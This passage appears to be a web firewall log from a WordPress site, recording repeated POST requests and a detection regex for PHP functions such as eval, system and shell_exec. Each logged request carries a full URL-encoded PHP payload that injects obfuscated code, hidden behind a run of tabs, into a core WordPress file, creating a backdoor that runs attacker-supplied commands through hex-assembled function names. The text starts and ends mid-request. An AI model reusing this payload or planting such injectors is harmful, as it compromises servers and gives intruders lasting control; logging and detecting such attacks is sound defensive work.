ocessor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524task_processor%252C%2524pset_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pset_token%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524comp_dchunk%253D%2524config_manager5%2528%2524task_processor%252C%2522r%2522%2529%253Bif%2528%2524comp_dchunk%2529%257B%2524rec_binding%253D%2524config_manager6%2528%2524comp_dchunk%2529%253B%2524config_manager7%2528%2524comp_dchunk%2529%253Bprint%2520%2524rec_binding%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo3xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:6078\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nupgrade-insecure-requests:1\n\noy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Parse\/Date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527737%2527%253B%2524tkn2%2520%253D%2520%2527973%2527%253B%2524tkn3%2520%253D%2520%252756d%2527%253B%2524tkn4%2520%253D%2520%2527865%2527%253B%2524tkn5%2520%253D%2520%25276c6%2527%253B%2524tkn6%2520%253D%2520%2527657%2527%253B%2524tkn7%2520%253D%2520%2527706%2527%253B%2524tkn8%2520%253D%2520%2527173%2527%253B%2524tkn9%2520%253D%2520%2527727%2527%253B%2524tkn10%2520%253D%2520%2527472%2527%253B%2524tkn11%2520%253D%2520%2527656%2527%253B%2524tkn12%2520%253D%2520%25275f6%2527%253B%2524tkn13%2520%253D%2520%25276f6%2527%253B%2524tkn14%2520%253D%2520%2527e74%2527%253B%2524tkn15%2520%253D%2520%252736c%2527%253B%2524tkn16%2520%253D%2520%2527365%2527%253B%2524tkn17%2520%253D%2520%2527f63%2527%253B%2524tkn18%2520%253D%2520%2527373%2527%253B%2524tkn19%2520%253D%2520%25276f7%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn1.%2524tkn2.%2527746%2527.%2524tkn3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524tkn4.%2524tkn5.%2527c5f%2527.%2527657%2527.%2527865%2527%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn6.%2527865%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn7.%2524tkn8.%2527737%2527.%2527468%2527.%2524tkn9%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524tkn10.%2524tkn11.%252716d%2527.%2524tkn12.%2527765%2527.%2527745%2527.%2527f63%2527.%2524tkn13.%2524tkn14.%2524tkn11.%2527e74%2527%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524tkn15.%25276f7%2527.%2524tkn16%2529%253B%2524task_processor%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527746%2527.%2527173%2527.%25276b5%2527.%2527f70%2527.%2527726%2527.%2524tkn17.%2527657%2527.%2524tkn18.%2524tkn19%2529%253Bif%2528isset%2528%2524_POST%255B%2524task_processor%255D%2529%2529%257B%2524task_processor%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524task_processor%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524task_processor%252C%2524pset_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pset_token%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524comp_dchunk%253D%2524config_manager5%2528%2524task_processor%252C%2522r%2522%2529%253Bif%2528%2524comp_dchunk%2529%257B%2524rec_binding%253D%2524config_manager6%2528%2524comp_dchunk%2529%253B%2524config_manager7%2528%2524comp_dchunk%2529%253Bprint%2520%2524rec_binding%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:39:34","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Parse\/Date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527737%2527%253B%2524tkn2%2520%253D%2520%2527973%2527%253B%2524tkn3%2520%253D%2520%252756d%2527%253B%2524tkn4%2520%253D%2520%2527865%2527%253B%2524tkn5%2520%253D%2520%25276c6%2527%253B%2524tkn6%2520%253D%2520%2527657%2527%253B%2524tkn7%2520%253D%2520%2527706%2527%253B%2524tkn8%2520%253D%2520%2527173%2527%253B%2524tkn9%2520%253D%2520%2527727%2527%253B%2524tkn10%2520%253D%2520%2527472%2527%253B%2524tkn11%2520%253D%2520%2527656%2527%253B%2524tkn12%2520%253D%2520%25275f6%2527%253B%2524tkn13%2520%253D%2520%25276f6%2527%253B%2524tkn14%2520%253D%2520%2527e74%2527%253B%2524tkn15%2520%253D%2520%252736c%2527%253B%2524tkn16%2520%253D%2520%2527365%2527%253B%2524tkn17%2520%253D%2520%2527f63%2527%253B%2524tkn18%2520%253D%2520%2527373%2527%253B%2524tkn19%2520%253D%2520%25276f7%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn1.%2524tkn2.%2527746%2527.%2524tkn3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524tkn4.%2524tkn5.%2527c5f%2527.%2527657%2527.%2527865%2527%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn6.%2527865%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn7.%2524tkn8.%2527737%2527.%2527468%2527.%2524tkn9%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524tkn10.%2524tkn11.%252716d%2527.%2524tkn12.%2527765%2527.%2527745%2527.%2527f63%2527.%2524tkn13.%2524tkn14.%2524tkn11.%2527e74%2527%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524tkn15.%25276f7%2527.%2524tkn16%2529%253B%2524task_processor%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527746%2527.%2527173%2527.%25276b5%2527.%2527f70%2527.%2527726%2527.%2524tkn17.%2527657%2527.%2524tkn18.%2524tkn19%2529%253Bif%2528isset%2528%2524_POST%255B%2524task_processor%255D%2529%2529%257B%2524task_processor%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524task_processor%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524task_processor%252C%2524pset_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pset_token%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524comp_dchunk%253D%2524config_manager5%2528%2524task_processor%252C%2522r%2522%2529%253Bif%2528%2524comp_dchunk%2529%257B%2524rec_binding%253D%2524config_manager6%2528%2524comp_dchunk%2529%253B%2524config_manager7%2528%2524comp_dchunk%2529%253Bprint%2520%2524rec_binding%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHR4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:6078\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nupgrade-insecure-requests:1\n\nPN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Parse\/Date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527737%2527%253B%2524tkn2%2520%253D%2520%2527973%2527%253B%2524tkn3%2520%253D%2520%252756d%2527%253B%2524tkn4%2520%253D%2520%2527865%2527%253B%2524tkn5%2520%253D%2520%25276c6%2527%253B%2524tkn6%2520%253D%2520%2527657%2527%253B%2524tkn7%2520%253D%2520%2527706%2527%253B%2524tkn8%2520%253D%2520%2527173%2527%253B%2524tkn9%2520%253D%2520%2527727%2527%253B%2524tkn10%2520%253D%2520%2527472%2527%253B%2524tkn11%2520%253D%2520%2527656%2527%253B%2524tkn12%2520%253D%2520%25275f6%2527%253B%2524tkn13%2520%253D%2520%25276f6%2527%253B%2524tkn14%2520%253D%2520%2527e74%2527%253B%2524tkn15%2520%253D%2520%252736c%2527%253B%2524tkn16%2520%253D%2520%2527365%2527%253B%2524tkn17%2520%253D%2520%2527f63%2527%253B%2524tkn18%2520%253D%2520%2527373%2527%253B%2524tkn19%2520%253D%2520%25276f7%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn1.%2524tkn2.%2527746%2527.%2524tkn3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524tkn4.%2524tkn5.%2527c5f%2527.%2527657%2527.%2527865%2527%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn6.%2527865%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn7.%2524tkn8.%2527737%2527.%2527468%2527.%2524tkn9%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524tkn10.%2524tkn11.%252716d%2527.%2524tkn12.%2527765%2527.%2527745%2527.%2527f63%2527.%2524tkn13.%2524tkn14.%2524tkn11.%2527e74%2527%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524tkn15.%25276f7%2527.%2524tkn16%2529%253B%2524task_processor%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527746%2527.%2527173%2527.%25276b5%2527.%2527f70%2527.%2527726%2527.%2524tkn17.%2527657%2527.%2524tkn18.%2524tkn19%2529%253Bif%2528isset%2528%2524_POST%255B%2524task_processor%255D%2529%2529%257B%2524task_processor%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524task_processor%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524task_processor%252C%2524pset_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pset_token%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524comp_dchunk%253D%2524config_manager5%2528%2524task_processor%252C%2522r%2522%2529%253Bif%2528%2524comp_dchunk%2529%257B%2524rec_binding%253D%2524config_manager6%2528%2524comp_dchunk%2529%253B%2524config_manager7%2528%2524comp_dchunk%2529%253Bprint%2520%2524rec_binding%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:39:36","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Parse\/Date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527737%2527%253B%2524tkn2%2520%253D%2520%2527973%2527%253B%2524tkn3%2520%253D%2520%252756d%2527%253B%2524tkn4%2520%253D%2520%2527865%2527%253B%2524tkn5%2520%253D%2520%25276c6%2527%253B%2524tkn6%2520%253D%2520%2527657%2527%253B%2524tkn7%2520%253D%2520%2527706%2527%253B%2524tkn8%2520%253D%2520%2527173%2527%253B%2524tkn9%2520%253D%2520%2527727%2527%253B%2524tkn10%2520%253D%2520%2527472%2527%253B%2524tkn11%2520%253D%2520%2527656%2527%253B%2524tkn12%2520%253D%2520%25275f6%2527%253B%2524tkn13%2520%253D%2520%25276f6%2527%253B%2524tkn14%2520%253D%2520%2527e74%2527%253B%2524tkn15%2520%253D%2520%252736c%2527%253B%2524tkn16%2520%253D%2520%2527365%2527%253B%2524tkn17%2520%253D%2520%2527f63%2527%253B%2524tkn18%2520%253D%2520%2527373%2527%253B%2524tkn19%2520%253D%2520%25276f7%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn1.%2524tkn2.%2527746%2527.%2524tkn3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524tkn4.%2524tkn5.%2527c5f%2527.%2527657%2527.%2527865%2527%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn6.%2527865%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn7.%2524tkn8.%2527737%2527.%2527468%2527.%2524tkn9%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524tkn10.%2524tkn11.%252716d%2527.%2524tkn12.%2527765%2527.%2527745%2527.%2527f63%2527.%2524tkn13.%2524tkn14.%2524tkn11.%2527e74%2527%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524tkn15.%25276f7%2527.%2524tkn16%2529%253B%2524task_processor%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527746%2527.%2527173%2527.%25276b5%2527.%2527f70%2527.%2527726%2527.%2524tkn17.%2527657%2527.%2524tkn18.%2524tkn19%2529%253Bif%2528isset%2528%2524_POST%255B%2524task_processor%255D%2529%2529%257B%2524task_processor%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524task_processor%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524task_processor%252C%2524pset_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pset_token%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524task_processor%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524comp_dchunk%253D%2524config_manager5%2528%2524task_processor%252C%2522r%2522%2529%253Bif%2528%2524comp_dchunk%2529%257B%2524rec_binding%253D%2524config_manager6%2528%2524comp_dchunk%2529%253B%2524config_manager7%2528%2524comp_dchunk%2529%253Bprint%2520%2524rec_binding%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrR4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:6078\n\nxN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Parse\/Date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527737%2527%253B%2524tkn2%2520%253D%2520%2527973%2527%253B%2524tkn3%2520%253D%2520%252756d%2527%253B%2524tkn4%2520%253D%2520%2527865%2527%253B%2524tkn5%2520%253D%2520%25276c6%2527%253B%2524tkn6%2520%253D%2520%2527657%2527%253B%2524tkn7%2520%253D%2520%2527706%2527%253B%2524tkn8%2520%253D%2520%2527173%2527%253B%2524tkn9%2520%253D%2520%2527727%2527%253B%2524tkn10%2520%253D%2520%